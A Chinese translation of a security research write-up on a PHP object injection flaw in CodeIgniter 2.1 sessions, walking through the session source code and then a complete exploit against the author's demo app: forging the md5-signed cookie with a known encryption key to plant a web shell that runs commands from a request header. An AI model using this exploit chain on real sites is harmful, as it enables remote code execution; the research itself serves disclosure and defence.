Codeigniter 利用加密Key(密鑰)的對象注入漏洞

http://drops.wooyun.org/papers/1449php

原文連接:http://www.mehmetince.net/codeigniter-object-injection-vulnerability-via-encryption-key/html

0x00 背景


你們好,Codeigniter 是我最喜好的PHP框架之一。和別人同樣,我在這個框架中學習了PHP MVC編程。今天,我決定來分析一下Codeigniter的PHP 對象注入漏洞。git

我在接下來的敘述中會把重點放在Codeigniter的Session會話機制上。全部我將會分析的method方法都在CodeIgniter/system/libraries/Session.php文件裏。我在本研究過程當中使用的是Codeigniter 2.1 版本。github

0x01 Codeigniter Session會話機制


Codeigniter 使用PHP的序列化method方法來存儲用戶Session會話中的變量。可是Codeigniter Session會話機制並不像咱們預期的那樣工做。它把session會話的變量存在了客戶端的cookie裏面,大多數是在(服務器)硬盤上而不是用戶COOKIE中。我不知道開發者們爲何這麼設計。數據庫

下面的敘述摘自codeigniter的文檔編程

The Session class stores session information for each user as serialized (and optionally encrypted) data in a cookie. Even if you are not using encrypted sessions, you must set an encryption key in your config file which is used to aid in preventing session data manipulation.

Session會話class類把每一個用戶session會話的序列化的(可選加密的)信息存在了Cookie裏面。即便你沒有使用加密的session會話,你也必須在配置文件中設置一個加密key(密鑰)以用來防止session會話內容被人爲篡改

在這篇文章中咱們將分析session數據篡改的可能性以及相關問題。ubuntu

0x02 Codeigniter Session會話數據結構


讓咱們開始讀點兒代碼。可是至此讓我解釋一下Codeigniter是如何建立session會話而且把變量放進session(-其實是cookie!-)中的。數組

對了,我會在接下來的文章中使用CI簡寫代替Codeigniter安全

讓咱們開始回顧一下Session類中構造方法的代碼。下面的代碼是__construct方法的一部分服務器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Run the Session routine. If a session doesn't exist we'll
// create a new one.  If it does, we'll update it.
// 開始session過程。若是session不存在咱們就新建一個 若是存在就更新一個
if ( ! $this ->sess_read())
{
     $this ->sess_create();
}
else
{
     $this ->sess_update();
}
 
// Delete 'old' flashdata (from last request)
// 刪除舊的flashdata(從最近的請求)
$this ->_flashdata_sweep();
 
// Mark all new flashdata as old (data will be deleted before next request)
// 標記全部的flashdata爲舊的(數據將會在下一次請求被刪除)
$this ->_flashdata_mark();
 
// Delete expired sessions if necessary
// 若是須要的話刪除過時的session
$this ->_sess_gc();
 
log_message( 'debug' , "Session routines successfully run" );

CI 試着去從當前客戶端的cookie中讀取數據值。若是失敗的話就建立一個新的,假設咱們目前沒有任何cookie。那麼CI去試着調用sess_create函數。接下來的代碼是在Session類中sess_create函數中截取的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function sess_create()
{
     $sessid = '' ;
     while ( strlen ( $sessid ) < 32)
     {
         $sessid .= mt_rand(0, mt_getrandmax());
     }
 
     // To make the session ID even more secure we'll combine it with the user's IP
     // 爲了讓session 會話ID 更加安全,咱們將把用戶IP綁定進去
     $sessid .= $this ->CI->input->ip_address();
 
     $this ->userdata = array (
                         'session_id'    => md5(uniqid( $sessid , TRUE)),
                         'ip_address'    => $this ->CI->input->ip_address(),
                         'user_agent'    => substr ( $this ->CI->input->user_agent(), 0, 120),
                         'last_activity'    => $this ->now,
                         'user_data'        => ''
                         );
 
 
     // Save the data to the DB if needed
     // 若是須要的話將數據保存在數據庫中
     if ( $this ->sess_use_database === TRUE)
     {
         $this ->CI->db->query( $this ->CI->db->insert_string( $this ->sess_table_name, $this ->userdata));
     }
 
     // Write the cookie
     // 寫cookie
     $this ->_set_cookie();
}

sess_create 負責建立session而且把它們發給用戶。正如你所見,它建立了一個數組來在session中存儲session_id,ip 地址,user-agent 等等。當userdata數組就緒後,它調用了Session類中的另外一個函數_set_cookie()。如今該分析_set_cookie函數的代碼了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function _set_cookie( $cookie_data = NULL)
{
     if ( is_null ( $cookie_data ))
     {
         $cookie_data = $this ->userdata;
     }
 
     // Serialize the userdata for the cookie
     // 序列化用戶數據用做cookie
     $cookie_data = $this ->_serialize( $cookie_data );
 
     if ( $this ->sess_encrypt_cookie == TRUE)
     {
         $cookie_data = $this ->CI->encrypt->encode( $cookie_data );
     }
     else
     {
         // if encryption is not used, we provide an md5 hash to prevent userside tampering
     // 若是沒有使用加密,咱們使用md5哈希函數來防止用戶端的篡改
         $cookie_data = $cookie_data .md5( $cookie_data . $this ->encryption_key);
     }
 
     $expire = ( $this ->sess_expire_on_close === TRUE) ? 0 : $this ->sess_expiration + time();
 
     // Set the cookie
     // 設置cookie
     setcookie(
                 $this ->sess_cookie_name,
                 $cookie_data ,
                 $expire ,
                 $this ->cookie_path,
                 $this ->cookie_domain,
                 $this ->cookie_secure
             );
}

這裏有一條關於代碼的註釋

1
2
// if encryption is not used, we provide an md5 hash to prevent userside tampering
// 若是沒有使用加密,咱們使用md5哈希函數來防止用戶端的篡改

CI使用了md5來加密序列化後的session會話數據。他使用了encryption_key做爲salt。而後把md5加密後的結果附在了$cookie_data的後面

1
2
3
//
//
$cookie_data = $cookie_data .md5( $cookie_data . $this ->encryption_key);

我想要分析上述的代碼。$cookie_data將會發送給客戶端。它包含着ip地址,user-agent 等等。CI使用了encryption_key做爲加salt的key。做爲攻擊者咱們知道$cookie_data和md5加密的結果,由於CI把MD5計算結果附在了$cookie_data的後面而後把它發送給了咱們攻擊者。讓我展現一下確切的數據。

ci_session=a:5:{s:10:"session_id";s:32:"e4f2a5e86d65ef070f5874f07c33b043";s:10:"ip_address";s:9:"127.0.0.1";s:10:"user_agent";s:76:"Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0";s:13:"last_activity";i:1397754060;s:9:"user_data";s:0:"";}550d610647f0ee0d019357d84f3b0488

你能夠看到上面的ci_session變量。那就是cookie的變量而且在數據值的後面你將看到550d610647f0ee0d019357d84f3b0488,這就是md5的結果,若是咱們試着去逆向分析的話。

譯者注:32位的字母數字(無等號)可初步判斷爲md5,另外上面的機制分析也說明了是用的md5

$cookie_data variables的值爲:

{s:10:」session_id」;s:32:」e4f2a5e86d65ef070f5874f07c33b043″;s:10:」ip_address」;s:9:」127.0.0.1″;s:10:」user_agent」;s:76:」Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0″;s:13:」last_activity」;i:1397754060;s:9:」user_data」;s:0:」」;}

$this->encryption_key = is what we are trying to get!

md5計算的結果 = 550d610647f0ee0d019357d84f3b0488

很明顯咱們能夠暴力破解探測使用的salt,我是說加密key。

舉例說明 假設有如下定義

$this->encryption_key = WE DONT NOW!

$cookie_data variables的值 = a:1:{s:4:」test」;i:1;}adf8a852dafaf46f8c8038256fd0963a

adf8a852dafaf46f8c8038256fd0963a = md5('a:1:{s:4:"test";i:1;}'.$this->encryption_key)

你可使用暴力破解技術來探測encryption_key! 爲了暴力破解這個md5,你能夠把encryption_key當成你想要得到的明文,因此$cookie_data變量的值成了salt,而後固然反轉MD5函數形式從md5(plain-text, SALT) 到 md5(SALT,plain-text)

譯者注:由於目前的破解md5的自動化工具均默認是給出密文和salt而恢復明文,這裏的變換的緣由是方便以後利用工具破解

這只是解釋。咱們在真實生活中會有更長的$cookie_data的狀況。就像我以前提到的,爲了暴力破解md5,$cookie_data當成salt。很不幸HashCat不支持這種類型的salt key。

0x03 Codeigniter Session會話數據的保存驗證


咱們知道了CI如何創造cookie數據。如今咱們將分析CI的cookie數據驗證系統。就像我以前假設的,咱們沒有一個cookie。這一次咱們在HTTP請求中帶一個cookie。讓咱們觀察CI是怎樣檢測並驗證cookie的。爲了這樣作,咱們須要理解Session類中的sess_read()方法的代碼

記住Session類的_construct方法。它試着用sess_read方法去從客戶端讀取cookie。這是我爲何將要分析sess_read方法的緣由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
function sess_read()
     {
     // Fetch the cookie
     // 獲取cookie
     $session = $this ->CI->input->cookie( $this ->sess_cookie_name);
 
     // No cookie?  Goodbye cruel world!...
     // 沒有cookie? 去你妹的冷酷世界!
     if ( $session === FALSE)
     {
         log_message( 'debug' , 'A session cookie was not found.' );
         return FALSE;
     }
     // Decrypt the cookie data
     // 解密cookie數據
     if ( $this ->sess_encrypt_cookie == TRUE)
     {
         $session = $this ->CI->encrypt->decode( $session );
     }
     else
     {
         // encryption was not used, so we need to check the md5 hash
         // 沒有用到加密,因此咱們須要檢查MD5 hash
         $hash     = substr ( $session , strlen ( $session )-32); // get last 32 chars
         $session = substr ( $session , 0, strlen ( $session )-32);
 
         // Does the md5 hash match?  This is to prevent manipulation of session data in userspace
         // md5哈希值是否匹配?這是爲了阻止session會話數據用戶方面的人爲操縱
         if ( $hash !==  md5( $session . $this ->encryption_key))
         {
             log_message( 'error' , 'The session cookie data did not match what was expected. This could be a possible hacking attempt.' );
             $this ->sess_destroy();
             return FALSE;
         }
     }
     // Unserialize the session array
     // Unserialize去序列化session會話數組
     $session = $this ->_unserialize( $session );
 
     // Is the session data we unserialized an array with the correct format?
     // 咱們unserialized去序列化後的session會話數據是否格式正確?
     if ( ! is_array ( $session ) OR ! isset( $session [ 'session_id' ]) OR ! isset( $session [ 'ip_address' ]) OR ! isset( $session [ 'user_agent' ]) OR ! isset( $session [ 'last_activity' ]))
     {
         $this ->sess_destroy();
         return FALSE;
     }
     // Is the session current?
     // 是不是當前會話?
     if (( $session [ 'last_activity' ] + $this ->sess_expiration) < $this ->now)
     {
         $this ->sess_destroy();
         return FALSE;
     }
 
     // Does the IP Match?
     // ip是否匹配?
     if ( $this ->sess_match_ip == TRUE AND $session [ 'ip_address' ] != $this ->CI->input->ip_address())
     {
         $this ->sess_destroy();
         return FALSE;
     }
     // Does the User Agent Match?
     // user-agent是否匹配?
     if ( $this ->sess_match_useragent == TRUE AND trim( $session [ 'user_agent' ]) != trim( substr ( $this ->CI->input->user_agent(), 0, 120)))
     {
         $this ->sess_destroy();
         return FALSE;
     }
 
     // Is there a corresponding session in the DB?
     // 數據庫中是否與session一致?
     if ( $this ->sess_use_database === TRUE)
     {
         $this ->CI->db->where( 'session_id' , $session [ 'session_id' ]);
 
         if ( $this ->sess_match_ip == TRUE)
         {
             $this ->CI->db->where( 'ip_address' , $session [ 'ip_address' ]);
         }
 
         if ( $this ->sess_match_useragent == TRUE)
         {
             $this ->CI->db->where( 'user_agent' , $session [ 'user_agent' ]);
         }
 
         $query = $this ->CI->db->get( $this ->sess_table_name);
 
         // No result?  Kill it!
         // 沒有查到? 結束吧!
         if ( $query ->num_rows() == 0)
         {
             $this ->sess_destroy();
             return FALSE;
         }
 
         // Is there custom data?  If so, add it to the main session array
         // 有沒有自定義數據? 若是有,把它加在主session數組裏
         $row = $query ->row();
         if (isset( $row ->user_data) AND $row ->user_data != '' )
         {
             $custom_data = $this ->_unserialize( $row ->user_data);
 
             if ( is_array ( $custom_data ))
             {
                 foreach ( $custom_data as $key => $val )
                 {
                     $session [ $key ] = $val ;
                 }
             }
         }
     }
     // Session is valid!
     // session是合法的
     $this ->userdata = $session ;
     unset( $session );
     return TRUE;
}

接下來的代碼CI檢查了session會話變量和user-agents。基本上CI想看到相同的user-agent和ip地址。就像咱們分析的那樣,CI把那些變量寫進session會話了

咱們來分析一下_unserialize方法的代碼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function _unserialize( $data )
{
     $data = @unserialize(strip_slashes( $data ));
 
     if ( is_array ( $data ))
     {
         foreach ( $data as $key => $val )
         {
             if ( is_string ( $val ))
             {
                 $data [ $key ] = str_replace ( '{{slash}}' , '\\' , $val );
             }
         }
 
         return $data ;
     }
 
     return ( is_string ( $data )) ? str_replace ( '{{slash}}' , '\\' , $data ) : $data ;
}

沒錯!它對用戶提供的數據調用了unserialize方法,在本例中數據是客戶端的cookie

0x04 歸納


在去往exploitation利用部分以前,我但願總結一下咱們到如今爲止學到的東西

CI使用了serialize和unserialize方法來存儲Session中的變量
辯證來看,CI沒有使用真正的Session。CI在客戶端(cookie)存儲了session變量而不是服務器端(硬盤)
CI經過計算md5來檢測用戶端的篡改
檢查user-agent和ip地址與session數據一致
調用unserialize方法

0x05 總結


咱們遇到了一些障礙

CI沒有使用destruct(銷燬函數)或者喚醒方法
Codeigniter 經過$autoload['libraries']變量裝載libraries(庫)。若是Session類首先定義了那個數組,你就不能接觸剩下的類。由於咱們要利用Session而且CI在用戶裝載libraries前初始化Session類

讓我來闡明。CI按照次序從類中建立對象。那意味着在system/core路徑下的類文件會首先建立。而後CI會去查看$autoload['libraries']數組而後按照次序再次建立對象。因此,爲了接觸不一樣的classes,初始化session會話類的路徑格外的重要

我寫了一個具備漏洞的codeigniter應用來作例子。接下來的講解都與那個應用相關

https://github.com/mmetince/codeigniter-object-inj 譯者注:而後點右下角的download zip下載下來,若是不clone的話

如今咱們能夠一塊兒利用session完整性檢查的缺陷和unserialize方法

正如你所發現的那樣,咱們須要知道encryption_key來利用漏洞作壞事!有兩種方法可用。

1 - 像我以前解釋的,一塊兒利用md5的弱點和CI失敗的session會話數據完整性驗證。暴力破解它!當你認爲encryption_key不會很長的時候我建議你這麼作 

2 - 不少開發者把它們的應用發佈到github可是沒有修改encryption_key。而且使用那個應用的人們一般不會去修改encryption_key

在本例中咱們目前已經知道encryption_keyh4ck3rk3y了,讓咱們開始吧! 譯者注:他說的是他本身寫的應用$config['encryption_key'] = 'h4ck3rk3y';這個設置在/application/config/config.php裏面

http://localhost:8080/index.php/welcome

當我訪問上述URL時,它向我返回了以下HTTP響應

HTTP/1.1 200 OK
Host: localhost:8080
Connection: close
X-Powered-By: PHP/5.5.3-1ubuntu2.3
Set-Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22b4febcc23c1ceebfcae0a12471af8d72%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A76%3A%22Mozilla%2F5.0+%28X11%3B+Ubuntu%3B+Linux+x86_64%3B+rv%3A28.0%29+Gecko%2F20100101+Firefox%2F28.0%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1397759422%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D30f9db14538d353e98dd00d41d84d904; expires=Thu, 17-Apr-2014 20:30:22 GMT; Max-Age=7200; path=/
Content-Type: text/html

咱們看見了Set-Cookie這個http header變量,讓咱們分析它 譯者注:別忘了解url編碼

ci_session=a:5:{s:10:"session_id";s:32:"b4febcc23c1ceebfcae0a12471af8d72";s:10:"ip_address";s:9:"127.0.0.1";s:10:"user_agent";s:76:"Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0";s:13:"last_activity";i:1397759422;s:9:"user_data";s:0:"";}30f9db14538d353e98dd00d41d84d904; expires=Thu, 17-Apr-2014 20:30:22 GMT; Max-Age=7200; path=/

你能夠看到過時時間Expires dates和最大期限 Max-Age在字符串的末尾。它們如今不是很重要,咱們把它們去除掉吧

ci_session=a:5:{s:10:"session_id";s:32:"b4febcc23c1ceebfcae0a12471af8d72";s:10:"ip_address";s:9:"127.0.0.1";s:10:"user_agent";s:76:"Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0";s:13:"last_activity";i:1397759422;s:9:"user_data";s:0:"";}30f9db14538d353e98dd00d41d84d904

譯者注:去除了無關項後如上所示,之因此能夠去掉是由於exploit的是CI邏輯下的cookie接收

如今咱們將會像CI那樣從那個字符串中分離出cookie和MD5

md5 = 30f9db14538d353e98dd00d41d84d904

Session data= a:5:{s:10:」session_id」;s:32:」b4febcc23c1ceebfcae0a12471af8d72″;s:10:」ip_address」;s:9:」127.0.0.1″;s:10:」user_agent」;s:76:」Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0″;s:13:」last_activity」;i:1397759422;s:9:」user_data」;s:0:」」;}

咱們已經知道CI把user-agent放進session會話數據如上文所示。實質上session會話數據是一個PHP數組

Array
(
    [session_id] => b4febcc23c1ceebfcae0a12471af8d72
    [ip_address] => 127.0.0.1
    [user_agent] => Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0
    [last_activity] => 1397759422
    [user_data] =>
)

咱們知道CI在unserialize以後會去檢查ip地址和user-agents。可是在那個檢查獲取控制以前已經對象注入完畢了。咱們能夠爲所欲爲修改它

如今是時候建立咱們用來利用的對象類。下述的類能夠在咱們的例子中application/libraries路徑找到 譯者注:/application/libraries/Customcacheclass.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
/**
* Created by PhpStorm.
* User: mince
* Date: 4/18/14
* Time: 3:34 PM
*/
if ( ! defined( 'BASEPATH' )) exit ( 'No direct script access allowed' );
 
class Customcacheclass {
 
     var $dir = '' ;
     var $value = '' ;
     public function __construct()
     {
         $this ->dir = dirname( __FILE__ ). "/cache_dir/" ;
     }
 
     public function set_value( $v ){
         $this ->value = $v ;
     }
 
     public function get_value(){
         return $this ->value;
     }
     public function __destruct(){
         file_put_contents ( $this ->dir. "cache.php" , $this ->value, FILE_APPEND);
     }
}

你能夠看到__destruct方法把類變量保存在了cache.php文件內。序列化形式的Cacheclass會像下面所示字符串同樣

//
O:10:"Cacheclass":2:{s:3:"dir";s:15:"/tmp/cache_dir/";s:5:"value";s:3:"NUL";}

咱們要把它改爲下述形式來向cache.php文件中寫入eval運行的代碼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Customcacheclass {
 
     var $dir = 'application/libraries/cache_dir/' ;
     var $value = '<?php system($_SERVER[HTTP_CMD]);?>' ;
}
echo serialize( new Customcacheclass);
 
 
 
 
// Result
// 運行結果
O:16: "Customcacheclass" :2:{s:3: "dir" ;s:32: "application/libraries/cache_dir/" ;s:5: "value" ;s:35: "<?php system($_SERVER[HTTP_CMD]);?>" ;}

如今咱們須要對構造的session會話數據計算真實的MD5值 以經過sess_read方法的完整性控制

1
2
3
4
5
6
7
<?php
 
$b = 'O:16:"Customcacheclass":2:{s:3:"dir";s:32:"application/libraries/cache_dir/";s:5:"value";s:35:"<?php system($_SERVER[HTTP_CMD]);?>";}' ;
$private_key = 'h4ck3rk3y' ;
 
echo md5( $b . $private_key );
echo "\n" ;

結果是fc47e410df55722003c443cefbe1b779 咱們將把這段MD5加在咱們的新cookie值末尾

Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0
Referer: http://localhost/
Cookie: ci_session=O%3A16%3A%22Customcacheclass%22%3A2%3A%7Bs%3A3%3A%22dir%22%3Bs%3A32%3A%22application%2flibraries%2fcache_dir%2f%22%3Bs%3A5%3A%22value%22%3Bs%3A35%3A%22%3C%3Fphp%20system%28%24_SERVER%5BHTTP_CMD%5D%29%3B%3F%3E%22%3B%7Dfc47e410df55722003c443cefbe1b779

當你發送上述的http請求給CI時你會看到下述代碼出如今cache.php文件內

1
<?php system( $_SERVER [HTTP_CMD]);?>
相關文章
相關標籤/搜索